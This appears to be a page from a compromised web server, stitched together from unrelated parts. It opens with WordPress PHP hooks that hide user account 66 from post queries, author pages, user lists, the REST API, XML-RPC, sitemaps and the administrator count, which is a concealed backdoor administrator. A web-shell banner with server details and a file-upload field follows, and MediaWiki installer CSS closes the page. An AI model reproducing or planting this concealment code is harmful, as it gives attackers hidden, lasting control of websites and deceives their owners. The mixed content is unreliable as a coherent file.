add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/mw-config/ |
Upload File : |
.env-check {
font-size: 90%;
margin: 1em 0 1em 2.5em;
}
.config-section {
margin-top: 2em;
}
.config-block {
margin-top: 2em;
display: block;
}
.config-block-label {
display: block;
margin-bottom: .2em;
}
.config-block-label label, .config-label {
font-weight: bold;
padding-right: .5em;
padding-top: .2em;
}
.config-block-elements {
margin-left: 2em;
}
.config-block-elements li {
list-style: none;
}
.config-input {
clear: left;
zoom: 100%; /* IE hack */
}
.config-page-wrapper {
padding: 0.5em;
}
.config-page-list {
float: right;
width: 12em;
border: 1px solid #aaa;
background: #fff;
padding: 0.5em;
/* 3em left margin to leave space between the list and the page-content */
margin: 0.5em 0.5em 0.5em 3.5em;
}
.config-page {
padding: 0.5em 0.5em 0.5em 2em;
margin: 0.5em 0.5em 0.5em 0.5em;
background: #eee;
}
.config-submit {
clear: left;
text-align: center;
padding: 1em;
}
.config-submit input {
margin-left: 0.5em;
margin-right: 0.5em;
}
.config-page-disabled {
color: #aaa;
}
.config-error-box {
border: 2px solid #f00;
}
.config-page-current {
font-weight: bold;
}
.config-message {
display: list-item;
line-height: 1.5em;
/* @embed */
list-style-image: url(images/bullet.gif);
list-style-type: square;
}
.config-input-text {
width: 20em;
margin-right: 1em;
}
.config-input-check {
margin-left: 10em;
}
.config-skins-item {
/* Clearfix */
clear: left;
overflow: hidden;
}
.config-skins-item .config-input-check {
margin-left: 10em;
width: 20em;
float: left;
}
.config-skins-item .config-skins-use-as-default {
float: left;
}
.error {
color: red;
background-color: #fff;
font-weight: bold;
left: 1em;
font-size: 100%;
}
.config-settings-block {
list-style-type: none;
list-style-image: none;
margin: 0;
padding: 0;
}
.btn-install {
font-weight: bold;
font-size: 110%;
padding: .2em .3em;
}
.success-message {
font-weight: bold;
font-size: 110%;
color: green;
}
.success-box {
font-size: 130%;
}
.config-cc-wrapper {
clear: left;
/* If you change this height, also change it in WebInstallerOptions::submitCC() */
height: 54em;
}
.config-plainlink a {
background: none !important;
padding: 0 !important;
}
.config-download-link {
font-size: 1.8em;
margin-left: 2em;
}
.config-download-link a {
background: url(images/download-32.png) no-repeat center left;
padding-left: 40px; /* 32 px for the image (above), plus some breathing room */
height: 32px; /* provide enough vertical room for the image */
display: inline-block; /* allow the height property (above) to work */
line-height: 32px; /* center the text vertically */
}
#config-live-log {
overflow: hidden;
min-width: 20em;
}
/* tooltip styles */
.config-help-field-hint {
display: none;
margin-left: 2px;
margin-bottom: -8px;
padding: 0 0 0 15px;
/* @embed */
background-image: url(images/help-question.gif);
background-position: left center;
background-repeat: no-repeat;
cursor: pointer;
font-size: .8em;
text-decoration: underline;
color: #0645ad;
}
.config-help-field-hint:hover {
/* @embed */
background-image: url(images/help-question-hover.gif);
}
.config-help-field-data {
display: block;
background-color: #d6f3ff;
padding: 5px 8px 4px 8px;
border: 1px solid #5dc9f4;
margin-left: 20px;
}